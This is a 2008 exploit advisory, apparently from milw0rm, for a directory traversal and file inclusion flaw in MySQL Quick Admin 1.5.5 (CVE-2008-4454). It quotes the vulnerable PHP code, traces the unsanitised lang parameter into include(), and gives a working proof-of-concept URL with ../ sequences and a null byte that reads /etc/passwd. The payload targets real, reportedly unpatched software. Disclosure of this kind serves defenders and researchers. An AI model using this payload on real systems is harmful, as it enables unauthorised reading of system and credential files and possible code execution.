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# Author: Vinod Sharma #
# Email: vinodsharma.mimit@gmail.com #
# Date: 05th Nov, 2008 #
# Note: This information is only for educational purpose, author #
# will not bear responsibility for any damages. #
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#Directory traversal vulnerability in MySQL Quick Admin 1.5.5 #
#allows remote attackers to read and execute arbitrary files via a .. (dot dot) #
#in the lang parameter to actions.php. #
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#Appplication still unpatched #
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#vulnerable code in actions.php #
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#/* code start #
# case 27: #
# $do = $_GET['do']; #
# if($do == "theme" && file_exists("themes/".$_GET['theme'])){ #
# setcookie('theme', $_GET['theme'], time()+60*60*24*30); #
# $_SESSION['theme'] = $_GET['theme']; #
# unset($_SESSION['theme_name']); #
# } else if($do == "lang" && file_exists("lang/".$_GET['lang'])){ #
# setcookie('language', $_GET['lang'], time()+60*60*24*30); #
# $_SESSION['language'] = $_GET['lang']; #
# unset($_SESSION['lang_name']); #
# } #
# header("Location: main.php"); #
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#/* code end #
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#$_SESSION['language'] is set to the value of the lang parameter without any #
#sanitization. #
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#The actions.php will send this $_SESSION['language'] value to required.php which will #
#pass it to include() function without any sanitization. #
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#vulnerable code in required.php #
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#/* code start #
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#line 22 in required.php: include("lang/".$_SESSION['language']."/lang.php"); #
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#/* code end #
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POC:http://www.example.com/quickadmin/actions.php?act=27&do=lang&lang=../../../../../../../../../../etc/passwd%00
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# references: #
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4454 #
# http://secunia.com/advisories/31820 #
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# milw0rm.com [2008-11-06]
